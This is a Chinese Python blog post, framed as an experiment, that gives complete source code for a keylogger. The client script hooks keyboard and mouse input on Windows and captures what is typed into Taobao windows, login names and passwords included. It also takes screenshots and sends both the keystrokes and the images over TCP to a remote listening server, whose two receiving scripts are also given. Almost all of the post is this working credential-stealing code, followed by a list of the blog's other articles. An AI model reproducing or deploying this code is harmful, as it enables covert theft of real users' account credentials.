從今天早上產生了寫個獲取淘寶賬號及密碼的想法后,到現在,全天都在看書、調試程序,12小時內寫了三篇相關博客,如下:
[《Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性》](http://blog.csdn.net/dyx1024/article/details/7314275)
[《Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性(二)》](http://blog.csdn.net/dyx1024/article/details/7314790)
[《Python:通過遠程監控用戶輸入來獲取淘寶賬號和密碼的實驗(一)》](http://blog.csdn.net/dyx1024/article/details/7315306)
剛剛把寫完了最后一個功能,將用戶機器上的抓的圖片傳送到監控者的服務器上,加之前面實現的各功能,完整程序代碼如下:
### 一、代碼:
1、接收消息服務端(hook_server.py)
~~~
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
def hook_tcp_server():
'''
Function:接收遠程機器上發送過來的信息并輸入出到終端
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
host = '192.168.1.101'
port = 34586
buf_size = 1024
addr =(host, port)
tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_server_socket.bind(addr)
tcp_server_socket.listen(5)
print 'waiting for connectiong...'
while True:
tcp_client_socket, addr = tcp_server_socket.accept()
print 'connected from :', addr
while True:
msg = tcp_client_socket.recv(buf_size)
print msg
if not msg:
break
tcp_client_socket.close()
tcp_server_socket.close()
if __name__ == '__main__':
hook_tcp_server()
~~~
2、接收圖片的服務器端(hook_pic_server.py)
~~~
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import struct
import time
def hook_pic_file_server():
'''
Function:接收遠程機器上發送過來的圖片并保存到本地
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
host = '192.168.1.101'
port = 34587
buf_size = 1024
addr =(host, port)
pic_file_size_info = struct.calcsize('128s32sI8s')
tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_server_socket.bind(addr)
tcp_server_socket.listen(5)
print 'waiting for connectiong...'
while True:
tcp_client_socket, addr = tcp_server_socket.accept()
print 'connected from :', addr
pic_file_head = tcp_client_socket.recv(pic_file_size_info)
#接收文件頭信息
pic_file_name, temp1, pic_file_size, temp2 = struct.unpack('128s32sI8s', pic_file_head)
local_pic_dir = pic_file_name.strip('\0')
#接收文件內容
pic_fobj = open(local_pic_dir, 'wb')
temp_file_size = pic_file_size
while True:
if temp_file_size > buf_size:
pic_file_data = tcp_client_socket.recv(buf_size)
else:
pic_file_data = tcp_client_socket.recv(temp_file_size)
if pic_file_data:
pic_fobj.write(pic_file_data)
temp_file_size -= len(pic_file_data)
if temp_file_size == 0:
break
pic_fobj.close()
print time.strftime('[%Y-%m-%d %H:%M:%S]: ',time.localtime(time.time()))+ local_pic_dir + ' was received'
tcp_client_socket.close()
tcp_server_socket.close()
if __name__ == '__main__':
hook_pic_file_server()
~~~
3、客戶端(hook_client.py)
~~~
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import pythoncom
import pyHook
import time
from PIL import ImageGrab
import socket
import struct
import os
def send_msg_to_remote(msg):
'''
Function:向遠程服務器發送信息
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
host = '192.168.1.101'
port = 34586
buf_size = 1024
addr =(host, port)
if len(msg) != 0:
tcp_client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
tcp_client_sock.connect(addr)
except IOError, e:
print ('Error:%s' % e.args[0])
tcp_client_sock.close()
data = time.strftime('[%Y-%m-%d %H:%M:%S]',time.localtime(time.time()))
tip_info = data + 'from ' + socket.gethostname() + ':'
tcp_client_sock.sendall(tip_info + msg)
tcp_client_sock.close()
def send_pic_file_to_remote(pic_file_name):
'''
Function:向遠程服務器發送圖片
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
host = '192.168.1.101'
port = 34587
buf_size = 1024
addr =(host, port)
pic_file_size = struct.calcsize('128s32sI8s')
pic_client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
pic_client_socket.connect(addr)
except IOError, e:
print ('Error:%s' % e.args[0])
pic_client_socket.close()
pic_file_head = struct.pack('128s11I', pic_file_name, 0, 0, 0, 0, 0, 0, 0, 0, os.stat(pic_file_name).st_size, 0, 0)
#發送文件信息
pic_client_socket.send(pic_file_head)
#發送文件內容
pic_fobj = open(pic_file_name, 'rb')
while True:
file_data = pic_fobj.read(buf_size)
if not file_data:
break
pic_client_socket.send(file_data)
pic_fobj.close()
pic_client_socket.close()
def onMouseEvent(event):
'''
Function:處理鼠標左鍵單擊事件,如果當前MSG中存放了信息,
將其寫入文件,因為有的用戶在輸入 完用戶名后,不是使用TAB鍵切換到密碼
框,而是通過鼠標切換到密碼輸入窗口這種情況應該屬于大多數網民的習慣,
所以此處要判斷是否通過鼠標切換了輸入窗口
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
global MSG
if len(MSG) != 0:
#屏幕抓圖實現
pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic = ImageGrab.grab()
pic_file_name = '%s.png' % pic_name
pic.save(pic_file_name)
#向服務器發送文字
send_msg_to_remote(MSG)
MSG = ''
#向服務器發送圖片
send_pic_file_to_remote(pic_file_name)
#刪除本地保存的圖片
os.remove(pic_file_name)
return True
def onKeyboardEvent(event):
"處理鍵盤事件"
'''
Function:處理鍵盤事件,如果當前窗口為TAOBAO頁面,剛開始監控并記錄用戶輸入
因為此時用戶可能準備輸入用戶名及密碼進行登陸,所以將用戶輸入的所有可見
的ascii字符記錄下來,此處要考慮用戶是否使用了TAB鍵或回車鍵來
結束輸入,此時要將信息發送給遠程服務器。
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
global MSG
if event.WindowName.decode('GBK').find(u"淘寶") != -1:
if (127 >= event.Ascii > 31) or (event.Ascii == 8):
MSG += chr(event.Ascii)
if (event.Ascii == 9) or (event.Ascii == 13):
#屏幕抓圖實現
pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic = ImageGrab.grab()
pic_file_name = '%s.png' % pic_name
pic.save(pic_file_name)
#向服務器發送文字
send_msg_to_remote(MSG)
MSG = ''
#向服務器發送圖片
send_pic_file_to_remote(pic_file_name)
#刪除本地保存的圖片
os.remove(pic_file_name)
return True
if __name__ == "__main__":
'''
Function:獲取TAOBAO賬號及密碼,增加抓圖功能
Input:NONE
Output: NONE
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
MSG = ''
#創建hook句柄
hm = pyHook.HookManager()
#監控鼠標
hm.SubscribeMouseLeftDown(onMouseEvent)
hm.HookMouse()
#監控鍵盤
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
#循環獲取消息
pythoncom.PumpMessages()
~~~
### 二、測試:
1、環境信息:
? ? ? ? ?服務端:
? ? ? ? ? ? ?消息接收腳本hook_server.py運行于Unbutu上(IP:192.168.1.101,監聽端口:34586)
? ? ?圖片接收腳本hook_pic_server.py運行于Unbutu上(IP:192.168.1.101,監聽端口:34587)
? ? ? ? ?客戶端:
? ? ? ? ? ? 腳本hook_client.py運行于Windows xp上(主機名:winxp-duanyx)
2.、實測:
?a、 用戶在淘寶上操作之后,查看服務器端shell窗口,有如下信息打印,見下圖:

? ??
b、查看收到的圖片文件:

c、查看linux上收到的文件圖片:

?
- 前言
- Python:實現文件歸檔
- Pyhon:按行輸出文件內容
- Python:讀文件和寫文件
- Python:實現一個小算法
- Python:通過命令行發送新浪微博
- Python:通過攝像頭實現的監控功能
- Python:通過攝像頭抓取圖像并自動上傳至新浪微博
- Python:簡單的攝像頭程序實現
- Python:日志模塊logging的應用
- Python:操作嵌入式數據庫SQLite
- Python:將句子中的單詞全部倒排過來,但單詞的字母順序不變
- Python:語音處理,實現在線朗讀RFC文檔或本地文本文件
- Python:通過計算階乘來學習lambda和reduce這兩個函數的使用
- Python:通過執行100萬次打印來比較C和python的性能,以及用C和python結合來解決性能問題的方法
- Python:使用matplotlib繪制圖表
- Python:使用pycha快速繪制辦公常用圖(餅圖、垂直直方圖、水平直方圖、散點圖等七種圖形)
- Python:使用pycha快速繪制辦公常用圖二(使用樣式定制個性化圖表)
- Python:監控鍵盤輸入、鼠標操作,并將捕獲到的信息記錄到文件中
- Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性
- Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性(二)
- Python:通過遠程監控用戶輸入來獲取淘寶賬號和密碼的實驗(一)
- Python:通過遠程監控用戶輸入來獲取淘寶賬號和密碼的實驗(二)
- Python:通過自定義系統級快捷鍵來控制程序運行
- Python:通過自定義系統級快捷鍵來控制程序開始或停止記錄日志(使用小技巧解決一個貌似無解的問題)
- Python:一個多功能的抓圖工具開發(附源碼)
- Python:程序發布方式簡介一(打包為可執行文件EXE)
- Python:新浪微博應用開發簡介(認證及授權部分)
- Python:程序最小化到托盤功能實現
- Python:實用抓圖工具開發介紹(含需求分析、設計、編碼、單元測試、打包、系統測試、發布各環節)
- Python:桌面氣泡提示功能實現
- Python:未來三個月的python學習計劃
- Python:pygame模塊及SDL庫簡介
- Python:獲取新浪微博用戶的收聽列表和粉絲列表
- Python:pygame游戲編程之旅一(Hello World)
- Python:pygame游戲編程之旅二(自由移動的小球)
- Python:pygame游戲編程之旅三(玩家控制的小球)
- Python:pygame游戲編程之旅四(游戲界面文字處理)
- Python:pygame游戲編程之旅五(游戲界面文字處理詳解)
- Python:pygame游戲編程之旅六(游戲中的聲音處理)
- Python:pygame游戲編程之旅七(pygame基礎知識講解1)
- Python:編程“八榮八恥”之我見
- Python:腳本的幾種執行方式
- wxPython:簡單的wxPython程序
- wxPython:簡單的wxPython程序的另一種寫法
- wxPython:應用程序對象介紹
- wxPython:輸出重定向
- wxPython:關閉wxPython程序
- wxPython:Frame類介紹
- wxPython:面板Panel的使用
- wxPython:工具欄、狀態欄、菜單實現
- wxPython:消息對話框MessageDialog
- wxPython:文本對話框TextEntryDialog
- wxPython:列表選擇框SingleChoiceDialog
- wxPython:事件處理介紹一
- wxPython:事件處理介紹二
- wxPython: 簡單的繪圖例子
- wxPython:狀態欄介紹
- wxPython:菜單介紹
- wxPython:文件對話框wx.FileDialog
- wxPython:顏色選擇對話框wx.ColourDialog
- wxPython:布局管理器sizer介紹
- wxPython:啟動畫面SplashScreen介紹
- wxPython:繪畫按鈕BitmapButton介紹
- wxPython:進度條Gauge介紹
- Python: 發送新浪微博(使用oauth2)
- Python:讀取新浪微博收聽列表
- Python:DNS客戶端實現